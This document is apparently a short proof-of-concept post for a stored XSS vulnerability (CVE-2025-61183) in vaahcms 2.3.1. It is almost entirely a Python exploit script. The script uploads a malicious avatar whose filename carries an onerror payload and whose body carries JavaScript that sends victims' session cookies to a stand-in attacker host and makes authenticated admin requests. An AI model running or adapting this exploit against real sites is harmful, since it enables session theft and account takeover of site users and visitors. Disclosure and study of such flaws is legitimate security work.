CVE-2025-61183：vaahcms 2.3.1 存储型XSS漏洞

# CVE-2025-61183 PoC - vaahcms v2.3.1 Stored XSS via storeAvatar() # Exploit: Upload a malicious file as avatar to execute arbitrary JavaScript import requests TARGET_URL = "http://target-vaahcms-site.com" UPLOAD_ENDPOINT = "/api/vaah/users/avatar" # storeAvatar() method endpoint # Step 1: Create a malicious payload file # The malicious file contains XSS payload that will execute when the avatar is rendered malicious_filename = 'avatar<img src=x onerror=alert(document.cookie)>.jpg' # JavaScript payload to steal cookies or perform actions xss_payload = ''' <script> // Steal session cookies var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + document.cookie; // Or perform actions on behalf of the victim fetch('/api/admin/users', {credentials: 'include'}); </script> ''' # Step 2: Upload the malicious avatar headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json" } files = { "avatar": (malicious_filename, xss_payload, "image/jpeg") } # Step 3: Send the upload request response = requests.post( TARGET_URL + UPLOAD_ENDPOINT, files=files, headers=headers ) print(f"Upload Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: When any user views the profile with this avatar, # the XSS payload will execute in their browser context print("Payload uploaded successfully. XSS will trigger when avatar is viewed.")